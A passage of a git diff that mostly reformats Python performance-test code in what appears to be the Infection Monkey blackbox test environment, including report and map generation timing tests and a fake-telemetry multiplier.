timeout=DEFAULT_TIMEOUT_SECONDS,
- log_handler=log_handler).run()
+ log_handler=log_handler,
+ ).run()
- @pytest.mark.skip(reason="Perfomance test that creates env from fake telemetries is faster, use that instead.")
+ @pytest.mark.skip(
+ reason="Perfomance test that creates env from fake telemetries is faster, use that instead."
+ )
def test_report_generation_performance(self, island_client, quick_performance_tests):
"""
This test includes the SSH + Elastic + Hadoop + MSSQL machines all in one test
@@ -193,30 +225,35 @@ class TestMonkeyBlackbox:
and the Timing one which checks how long the report took to execute
"""
if not quick_performance_tests:
- TestMonkeyBlackbox.run_performance_test(ReportGenerationTest,
- island_client,
- Performance,
- timeout_in_seconds=10*60)
+ TestMonkeyBlackbox.run_performance_test(
+ ReportGenerationTest, island_client, Performance, timeout_in_seconds=10 * 60
+ )
else:
LOGGER.error("This test doesn't support 'quick_performance_tests' option.")
assert False
- @pytest.mark.skip(reason="Perfomance test that creates env from fake telemetries is faster, use that instead.")
+ @pytest.mark.skip(
+ reason="Perfomance test that creates env from fake telemetries is faster, use that instead."
+ )
def test_map_generation_performance(self, island_client, quick_performance_tests):
if not quick_performance_tests:
- TestMonkeyBlackbox.run_performance_test(MapGenerationTest,
- island_client,
- "PERFORMANCE.conf",
- timeout_in_seconds=10*60)
+ TestMonkeyBlackbox.run_performance_test(
+ MapGenerationTest, island_client, "PERFORMANCE.conf", timeout_in_seconds=10 * 60
+ )
else:
LOGGER.error("This test doesn't support 'quick_performance_tests' option.")
assert False
+ @pytest.mark.run_performance_tests
def test_report_generation_from_fake_telemetries(self, island_client, quick_performance_tests):
ReportGenerationFromTelemetryTest(island_client, quick_performance_tests).run()
+ @pytest.mark.run_performance_tests
def test_map_generation_from_fake_telemetries(self, island_client, quick_performance_tests):
MapGenerationFromTelemetryTest(island_client, quick_performance_tests).run()
+ @pytest.mark.run_performance_tests
def test_telem_performance(self, island_client, quick_performance_tests):
- TelemetryPerformanceTest(island_client, quick_performance_tests).test_telemetry_performance()
+ TelemetryPerformanceTest(
+ island_client, quick_performance_tests
+ ).test_telemetry_performance()
diff --git a/envs/monkey_zoo/blackbox/tests/basic_test.py b/envs/monkey_zoo/blackbox/tests/basic_test.py
index fa722ffb7..7bec9c873 100644
--- a/envs/monkey_zoo/blackbox/tests/basic_test.py
+++ b/envs/monkey_zoo/blackbox/tests/basic_test.py
@@ -2,7 +2,6 @@ import abc
class BasicTest(abc.ABC):
-
@abc.abstractmethod
def run(self):
pass
diff --git a/envs/monkey_zoo/blackbox/tests/exploitation.py b/envs/monkey_zoo/blackbox/tests/exploitation.py
index d6332bc75..ddc6bc9c2 100644
--- a/envs/monkey_zoo/blackbox/tests/exploitation.py
+++ b/envs/monkey_zoo/blackbox/tests/exploitation.py
@@ -6,14 +6,13 @@ from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest
from envs.monkey_zoo.blackbox.utils.test_timer import TestTimer
MAX_TIME_FOR_MONKEYS_TO_DIE = 5 * 60
-WAIT_TIME_BETWEEN_REQUESTS = 10
-TIME_FOR_MONKEY_PROCESS_TO_FINISH = 40
+WAIT_TIME_BETWEEN_REQUESTS = 5
+TIME_FOR_MONKEY_PROCESS_TO_FINISH = 10
DELAY_BETWEEN_ANALYSIS = 3
LOGGER = logging.getLogger(__name__)
class ExploitationTest(BasicTest):
-
def __init__(self, name, island_client, raw_config, analyzers, timeout, log_handler):
self.name = name
self.island_client = island_client
@@ -48,18 +47,25 @@ class ExploitationTest(BasicTest):
self.log_success(timer)
return
sleep(DELAY_BETWEEN_ANALYSIS)
- LOGGER.debug("Waiting until all analyzers passed. Time passed: {}".format(timer.get_time_taken()))
+ LOGGER.debug(
+ "Waiting until all analyzers passed. Time passed: {}".format(timer.get_time_taken())
+ )
self.log_failure(timer)
assert False
def log_success(self, timer):
LOGGER.info(self.get_analyzer_logs())
- LOGGER.info("{} test passed, time taken: {:.1f} seconds.".format(self.name, timer.get_time_taken()))
+ LOGGER.info(
+ "{} test passed, time taken: {:.1f} seconds.".format(self.name, timer.get_time_taken())
+ )
def log_failure(self, timer):
LOGGER.info(self.get_analyzer_logs())
- LOGGER.error("{} test failed because of timeout. Time taken: {:.1f} seconds.".format(self.name,
- timer.get_time_taken()))
+ LOGGER.error(
+ "{} test failed because of timeout. Time taken: {:.1f} seconds.".format(
+ self.name, timer.get_time_taken()
+ )
+ )
def all_analyzers_pass(self):
analyzers_results = [analyzer.analyze_test_results() for analyzer in self.analyzers]
@@ -73,7 +79,10 @@ class ExploitationTest(BasicTest):
def wait_until_monkeys_die(self):
time_passed = 0
- while not self.island_client.is_all_monkeys_dead() and time_passed < MAX_TIME_FOR_MONKEYS_TO_DIE:
+ while (
+ not self.island_client.is_all_monkeys_dead()
+ and time_passed < MAX_TIME_FOR_MONKEYS_TO_DIE
+ ):
sleep(WAIT_TIME_BETWEEN_REQUESTS)
time_passed += WAIT_TIME_BETWEEN_REQUESTS
LOGGER.debug("Waiting for all monkeys to die. Time passed: {}".format(time_passed))
diff --git a/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py b/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py
index b8793452d..1e2345ecf 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/endpoint_performance_test.py
@@ -10,7 +10,6 @@ LOGGER = logging.getLogger(__name__)
class EndpointPerformanceTest(BasicTest):
-
def __init__(self, name, test_config: PerformanceTestConfig, island_client: MonkeyIslandClient):
self.name = name
self.test_config = test_config
@@ -21,8 +20,9 @@ class EndpointPerformanceTest(BasicTest):
endpoint_timings = {}
for endpoint in self.test_config.endpoints_to_test:
self.island_client.clear_caches()
- endpoint_timings[endpoint] = self.island_client.requests.get_request_time(endpoint,
- SupportedRequestMethod.GET)
+ endpoint_timings[endpoint] = self.island_client.requests.get_request_time(
+ endpoint, SupportedRequestMethod.GET
+ )
analyzer = PerformanceAnalyzer(self.test_config, endpoint_timings)
return analyzer.analyze_test_results()
diff --git a/envs/monkey_zoo/blackbox/tests/performance/map_generation.py b/envs/monkey_zoo/blackbox/tests/performance/map_generation.py
index 42d2265e7..f925f031d 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/map_generation.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/map_generation.py
@@ -3,7 +3,9 @@ from datetime import timedelta
from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest
from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
-from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import PerformanceTestWorkflow
+from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import (
+ PerformanceTestWorkflow,
+)
MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2)
MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5)
@@ -17,18 +19,22 @@ class MapGenerationTest(PerformanceTest):
TEST_NAME = "Map generation performance test"
- def __init__(self, island_client, raw_config, analyzers,
- timeout, log_handler, break_on_timeout):
+ def __init__(
+ self, island_client, raw_config, analyzers, timeout, log_handler, break_on_timeout
+ ):
self.island_client = island_client
- exploitation_test = ExploitationTest(MapGenerationTest.TEST_NAME, island_client,
- raw_config, analyzers, timeout, log_handler)
- performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME,
- max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME,
- endpoints_to_test=MAP_RESOURCES,
- break_on_timeout=break_on_timeout)
- self.performance_test_workflow = PerformanceTestWorkflow(MapGenerationTest.TEST_NAME,
- exploitation_test,
- performance_config)
+ exploitation_test = ExploitationTest(
+ MapGenerationTest.TEST_NAME, island_client, raw_config, analyzers, timeout, log_handler
+ )
+ performance_config = PerformanceTestConfig(
+ max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME,
+ max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME,
+ endpoints_to_test=MAP_RESOURCES,
+ break_on_timeout=break_on_timeout,
+ )
+ self.performance_test_workflow = PerformanceTestWorkflow(
+ MapGenerationTest.TEST_NAME, exploitation_test, performance_config
+ )
def run(self):
self.performance_test_workflow.run()
diff --git a/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py b/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py
index 1b31a8962..8713d3c0f 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/map_generation_from_telemetries.py
@@ -2,8 +2,9 @@ from datetime import timedelta
from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
-from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import \
- TelemetryPerformanceTestWorkflow
+from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import (
+ TelemetryPerformanceTestWorkflow,
+)
MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2)
MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5)
@@ -19,14 +20,18 @@ class MapGenerationFromTelemetryTest(PerformanceTest):
def __init__(self, island_client, quick_performance_test: bool, break_on_timeout=False):
self.island_client = island_client
- performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME,
- max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME,
- endpoints_to_test=MAP_RESOURCES,
- break_on_timeout=break_on_timeout)
- self.performance_test_workflow = TelemetryPerformanceTestWorkflow(MapGenerationFromTelemetryTest.TEST_NAME,
- self.island_client,
- performance_config,
- quick_performance_test)
+ performance_config = PerformanceTestConfig(
+ max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME,
+ max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME,
+ endpoints_to_test=MAP_RESOURCES,
+ break_on_timeout=break_on_timeout,
+ )
+ self.performance_test_workflow = TelemetryPerformanceTestWorkflow(
+ MapGenerationFromTelemetryTest.TEST_NAME,
+ self.island_client,
+ performance_config,
+ quick_performance_test,
+ )
def run(self):
self.performance_test_workflow.run()
diff --git a/envs/monkey_zoo/blackbox/tests/performance/performance_test.py b/envs/monkey_zoo/blackbox/tests/performance/performance_test.py
index dd6af8065..de5d49945 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/performance_test.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/performance_test.py
@@ -4,10 +4,10 @@ from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest
class PerformanceTest(BasicTest, metaclass=ABCMeta):
-
@abstractmethod
- def __init__(self, island_client, raw_config, analyzers,
- timeout, log_handler, break_on_timeout):
+ def __init__(
+ self, island_client, raw_config, analyzers, timeout, log_handler, break_on_timeout
+ ):
pass
@property
diff --git a/envs/monkey_zoo/blackbox/tests/performance/performance_test_config.py b/envs/monkey_zoo/blackbox/tests/performance/performance_test_config.py
index ad7be5967..cc45093c0 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/performance_test_config.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/performance_test_config.py
@@ -3,9 +3,13 @@ from typing import List
class PerformanceTestConfig:
-
- def __init__(self, max_allowed_single_page_time: timedelta, max_allowed_total_time: timedelta,
- endpoints_to_test: List[str] = None, break_on_timeout=False):
+ def __init__(
+ self,
+ max_allowed_single_page_time: timedelta,
+ max_allowed_total_time: timedelta,
+ endpoints_to_test: List[str] = None,
+ break_on_timeout=False,
+ ):
self.max_allowed_single_page_time = max_allowed_single_page_time
self.max_allowed_total_time = max_allowed_total_time
self.endpoints_to_test = endpoints_to_test
diff --git a/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py b/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py
index 7799e3d29..de63ed899 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/performance_test_workflow.py
@@ -1,12 +1,15 @@
from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest
from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest
-from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import EndpointPerformanceTest
+from envs.monkey_zoo.blackbox.tests.performance.endpoint_performance_test import (
+ EndpointPerformanceTest,
+)
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
class PerformanceTestWorkflow(BasicTest):
-
- def __init__(self, name, exploitation_test: ExploitationTest, performance_config: PerformanceTestConfig):
+ def __init__(
+ self, name, exploitation_test: ExploitationTest, performance_config: PerformanceTestConfig
+ ):
self.name = name
self.exploitation_test = exploitation_test
self.island_client = exploitation_test.island_client
@@ -25,7 +28,9 @@ class PerformanceTestWorkflow(BasicTest):
self.exploitation_test.wait_for_monkey_process_to_finish()
if not self.island_client.is_all_monkeys_dead():
raise RuntimeError("Can't test report times since not all Monkeys have died.")
- performance_test = EndpointPerformanceTest(self.name, self.performance_config, self.island_client)
+ performance_test = EndpointPerformanceTest(
+ self.name, self.performance_config, self.island_client
+ )
try:
if not self.island_client.is_all_monkeys_dead():
raise RuntimeError("Can't test report times since not all Monkeys have died.")
diff --git a/envs/monkey_zoo/blackbox/tests/performance/report_generation.py b/envs/monkey_zoo/blackbox/tests/performance/report_generation.py
index f05661682..c7efc6057 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/report_generation.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/report_generation.py
@@ -3,7 +3,9 @@ from datetime import timedelta
from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest
from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
-from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import PerformanceTestWorkflow
+from envs.monkey_zoo.blackbox.tests.performance.performance_test_workflow import (
+ PerformanceTestWorkflow,
+)
MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2)
MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5)
@@ -13,25 +15,34 @@ REPORT_RESOURCES = [
"api/attack/report",
"api/report/zero_trust/findings",
"api/report/zero_trust/principles",
- "api/report/zero_trust/pillars"
+ "api/report/zero_trust/pillars",
]
class ReportGenerationTest(PerformanceTest):
TEST_NAME = "Report generation performance test"
- def __init__(self, island_client, raw_config, analyzers,
- timeout, log_handler, break_on_timeout):
+ def __init__(
+ self, island_client, raw_config, analyzers, timeout, log_handler, break_on_timeout
+ ):
self.island_client = island_client
- exploitation_test = ExploitationTest(ReportGenerationTest.TEST_NAME, island_client,
- raw_config, analyzers, timeout, log_handler)
- performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME,
- max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME,
- endpoints_to_test=REPORT_RESOURCES,
- break_on_timeout=break_on_timeout)
- self.performance_test_workflow = PerformanceTestWorkflow(ReportGenerationTest.TEST_NAME,
- exploitation_test,
- performance_config)
+ exploitation_test = ExploitationTest(
+ ReportGenerationTest.TEST_NAME,
+ island_client,
+ raw_config,
+ analyzers,
+ timeout,
+ log_handler,
+ )
+ performance_config = PerformanceTestConfig(
+ max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME,
+ max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME,
+ endpoints_to_test=REPORT_RESOURCES,
+ break_on_timeout=break_on_timeout,
+ )
+ self.performance_test_workflow = PerformanceTestWorkflow(
+ ReportGenerationTest.TEST_NAME, exploitation_test, performance_config
+ )
def run(self):
self.performance_test_workflow.run()
diff --git a/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py b/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py
index abc2b35c2..59c7e1848 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/report_generation_from_telemetries.py
@@ -2,8 +2,9 @@ from datetime import timedelta
from envs.monkey_zoo.blackbox.tests.performance.performance_test import PerformanceTest
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
-from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import \
- TelemetryPerformanceTestWorkflow
+from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test_workflow import (
+ TelemetryPerformanceTestWorkflow,
+)
MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2)
MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5)
@@ -13,7 +14,7 @@ REPORT_RESOURCES = [
"api/attack/report",
"api/report/zero_trust/findings",
"api/report/zero_trust/principles",
- "api/report/zero_trust/pillars"
+ "api/report/zero_trust/pillars",
]
@@ -23,14 +24,18 @@ class ReportGenerationFromTelemetryTest(PerformanceTest):
def __init__(self, island_client, quick_performance_test, break_on_timeout=False):
self.island_client = island_client
- performance_config = PerformanceTestConfig(max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME,
- max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME,
- endpoints_to_test=REPORT_RESOURCES,
- break_on_timeout=break_on_timeout)
- self.performance_test_workflow = TelemetryPerformanceTestWorkflow(ReportGenerationFromTelemetryTest.TEST_NAME,
- self.island_client,
- performance_config,
- quick_performance_test)
+ performance_config = PerformanceTestConfig(
+ max_allowed_single_page_time=MAX_ALLOWED_SINGLE_PAGE_TIME,
+ max_allowed_total_time=MAX_ALLOWED_TOTAL_TIME,
+ endpoints_to_test=REPORT_RESOURCES,
+ break_on_timeout=break_on_timeout,
+ )
+ self.performance_test_workflow = TelemetryPerformanceTestWorkflow(
+ ReportGenerationFromTelemetryTest.TEST_NAME,
+ self.island_client,
+ performance_config,
+ quick_performance_test,
+ )
def run(self):
self.performance_test_workflow.run()
diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_file_parser.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_file_parser.py
index 0f0c3311f..c0eeafd5c 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_file_parser.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_file_parser.py
@@ -5,39 +5,43 @@ from typing import Dict, List
from tqdm import tqdm
-TELEM_DIR_PATH = './tests/performance/telem_sample'
+TELEM_DIR_PATH = "../envs/monkey_zoo/blackbox/tests/performance/telemetry_sample"
MAX_SAME_TYPE_TELEM_FILES = 10000
LOGGER = logging.getLogger(__name__)
class SampleFileParser:
-
@staticmethod
def save_teletries_to_files(telems: List[Dict]):
- for telem in (tqdm(telems, desc="Telemetries saved to files", position=3)):
+ for telem in tqdm(telems, desc="Telemetries saved to files", position=3):
SampleFileParser.save_telemetry_to_file(telem)
@staticmethod
def save_telemetry_to_file(telem: Dict):
- telem_filename = telem['name'] + telem['method']
+ telem_filename = telem["name"] + telem["method"]
for i in range(MAX_SAME_TYPE_TELEM_FILES):
if not path.exists(path.join(TELEM_DIR_PATH, (str(i) + telem_filename))):
telem_filename = str(i) + telem_filename
break
- with open(path.join(TELEM_DIR_PATH, telem_filename), 'w') as file:
+ with open(path.join(TELEM_DIR_PATH, telem_filename), "w") as file:
file.write(json.dumps(telem))
@staticmethod
def read_telem_files() -> List[str]:
telems = []
try:
- file_paths = [path.join(TELEM_DIR_PATH, f) for f in listdir(TELEM_DIR_PATH)
- if path.isfile(path.join(TELEM_DIR_PATH, f))]
+ file_paths = [
+ path.join(TELEM_DIR_PATH, f)
+ for f in listdir(TELEM_DIR_PATH)
+ if path.isfile(path.join(TELEM_DIR_PATH, f))
+ ]
except FileNotFoundError:
- raise FileNotFoundError("Telemetries to send not found. "
- "Refer to readme to figure out how to generate telemetries and where to put them.")
+ raise FileNotFoundError(
+ "Telemetries to send not found. "
+ "Refer to readme to figure out how to generate telemetries and where to put them."
+ )
for file_path in file_paths:
- with open(file_path, 'r') as telem_file:
+ with open(file_path, "r") as telem_file:
telem_string = "".join(telem_file.readlines()).replace("\n", "")
telems.append(telem_string)
return telems
diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_ip_generator.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_ip_generator.py
index 90422f9a0..70bb69de4 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_ip_generator.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_ip_generator.py
@@ -8,7 +8,7 @@ class FakeIpGenerator:
def generate_fake_ips_for_real_ips(self, real_ips: List[str]) -> List[str]:
fake_ips = []
for i in range(len(real_ips)):
- fake_ips.append('.'.join(str(part) for part in self.fake_ip_parts))
+ fake_ips.append(".".join(str(part) for part in self.fake_ip_parts))
self.increment_ip()
return fake_ips
@@ -19,7 +19,7 @@ class FakeIpGenerator:
def try_fix_ip_range(self):
for i in range(len(self.fake_ip_parts)):
if self.fake_ip_parts[i] > 256:
- if i-1 < 0:
+ if i - 1 < 0:
raise Exception("Fake IP's out of range.")
- self.fake_ip_parts[i-1] += 1
+ self.fake_ip_parts[i - 1] += 1
self.fake_ip_parts[i] = 1
diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py
index efee81227..37245cefc 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/fake_monkey.py
@@ -1,7 +1,8 @@
import random
-from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import \
- FakeIpGenerator
+from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( # noqa: E501
+ FakeIpGenerator,
+)
class FakeMonkey:
diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py
index cb5956025..8ec9bb346 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/sample_multiplier.py
@@ -6,24 +6,27 @@ from typing import Dict, List
from tqdm import tqdm
-from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser
-from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import \
- FakeIpGenerator
-from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import FakeMonkey
+from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import (
+ SampleFileParser,
+)
+from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( # noqa: E501
+ FakeIpGenerator,
+)
+from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_monkey import ( # noqa: E501
+ FakeMonkey,
+)
-TELEM_DIR_PATH = './tests/performance/telemetry_sample'
LOGGER = logging.getLogger(__name__)
class SampleMultiplier:
-
def __init__(self, multiplier: int):
self.multiplier = multiplier
self.fake_ip_generator = FakeIpGenerator()
def multiply_telems(self):
telems = SampleFileParser.get_all_telemetries()
- telem_contents = [json.loads(telem['content']) for telem in telems]
+ telem_contents = [json.loads(telem["content"]) for telem in telems]
monkeys = self.get_monkeys_from_telems(telem_contents)
for i in tqdm(range(self.multiplier), desc="Batch of fabricated telemetries", position=1):
for monkey in monkeys:
@@ -40,46 +43,61 @@ class SampleMultiplier:
for monkey in monkeys:
if monkey.on_island:
continue
- if (monkey.original_guid in telem['content'] or monkey.original_guid in telem['endpoint']) \
- and not monkey.on_island:
- telem['content'] = telem['content'].replace(monkey.original_guid, monkey.fake_guid)
- telem['endpoint'] = telem['endpoint'].replace(monkey.original_guid, monkey.fake_guid)
+ if (
+ monkey.original_guid in telem["content"]
+ or monkey.original_guid in telem["endpoint"]
+ ) and not monkey.on_island:
+ telem["content"] = telem["content"].replace(
+ monkey.original_guid, monkey.fake_guid
+ )
+ telem["endpoint"] = telem["endpoint"].replace(
+ monkey.original_guid, monkey.fake_guid
+ )
for i in range(len(monkey.original_ips)):
- telem['content'] = telem['content'].replace(monkey.original_ips[i], monkey.fake_ips[i])
+ telem["content"] = telem["content"].replace(
+ monkey.original_ips[i], monkey.fake_ips[i]
+ )
@staticmethod
def offset_telem_times(iteration: int, telems: List[Dict]):
for telem in telems:
- telem['time']['$date'] += iteration * 1000
+ telem["time"]["$date"] += iteration * 1000
def get_monkeys_from_telems(self, telems: List[Dict]):
island_ips = SampleMultiplier.get_island_ips_from_telems(telems)
monkeys = []
- for telem in [telem for telem in telems
- if 'telem_category' in telem and telem['telem_category'] == 'system_info']:
- if 'network_info' not in telem['data']:
+ for telem in [
+ telem
+ for telem in telems
+ if "telem_category" in telem and telem["telem_category"] == "system_info"
+ ]:
+ if "network_info" not in telem["data"]:
continue
- guid = telem['monkey_guid']
+ guid = telem["monkey_guid"]
monkey_present = [monkey for monkey in monkeys if monkey.original_guid == guid]
if not monkey_present:
- ips = [net_info['addr'] for net_info in telem['data']['network_info']['networks']]
+ ips = [net_info["addr"] for net_info in telem["data"]["network_info"]["networks"]]
if set(island_ips).intersection(ips):
on_island = True
else:
on_island = False
- monkeys.append(FakeMonkey(ips=ips,
- guid=guid,
- fake_ip_generator=self.fake_ip_generator,
- on_island=on_island))
+ monkeys.append(
+ FakeMonkey(
+ ips=ips,
+ guid=guid,
+ fake_ip_generator=self.fake_ip_generator,
+ on_island=on_island,
+ )
+ )
return monkeys
@staticmethod
def get_island_ips_from_telems(telems: List[Dict]) -> List[str]:
island_ips = []
for telem in telems:
- if 'config' in telem:
- island_ips = telem['config']['command_servers']
+ if "config" in telem:
+ island_ips = telem["config"]["command_servers"]
for i in range(len(island_ips)):
island_ips[i] = island_ips[i].replace(":5000", "")
return island_ips
diff --git a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py
index 02cf3a8eb..55662b307 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/telem_sample_parsing/sample_multiplier/test_fake_ip_generator.py
@@ -1,19 +1,21 @@
from unittest import TestCase
-from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import \
- FakeIpGenerator
+from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_multiplier.fake_ip_generator import ( # noqa: E501
+ FakeIpGenerator,
+)
class TestFakeIpGenerator(TestCase):
-
def test_fake_ip_generation(self):
fake_ip_gen = FakeIpGenerator()
self.assertListEqual([1, 1, 1, 1], fake_ip_gen.fake_ip_parts)
for i in range(256):
- fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1'])
- self.assertListEqual(['1.1.2.1'], fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1']))
+ fake_ip_gen.generate_fake_ips_for_real_ips(["1.1.1.1"])
+ self.assertListEqual(["1.1.2.1"], fake_ip_gen.generate_fake_ips_for_real_ips(["1.1.1.1"]))
fake_ip_gen.fake_ip_parts = [256, 256, 255, 256]
- self.assertListEqual(['256.256.255.256', '256.256.256.1'],
- fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1', '1.1.1.2']))
+ self.assertListEqual(
+ ["256.256.255.256", "256.256.256.1"],
+ fake_ip_gen.generate_fake_ips_for_real_ips(["1.1.1.1", "1.1.1.2"]),
+ )
fake_ip_gen.fake_ip_parts = [256, 256, 256, 256]
- self.assertRaises(Exception, fake_ip_gen.generate_fake_ips_for_real_ips(['1.1.1.1']))
+ self.assertRaises(Exception, fake_ip_gen.generate_fake_ips_for_real_ips(["1.1.1.1"]))
diff --git a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py
index 699876cce..31179d713 100644
--- a/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py
+++ b/envs/monkey_zoo/blackbox/tests/performance/telemetry_performance_test.py
@@ -2,13 +2,13 @@ import json
import logging
from datetime import timedelta
-from tqdm import tqdm
-
from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import PerformanceAnalyzer
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
-from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import SampleFileParser
+from envs.monkey_zoo.blackbox.tests.performance.telem_sample_parsing.sample_file_parser import (
+ SampleFileParser,
+)
LOGGER = logging.getLogger(__name__)
@@ -17,7 +17,6 @@ MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=60)
class TelemetryPerformanceTest:
-
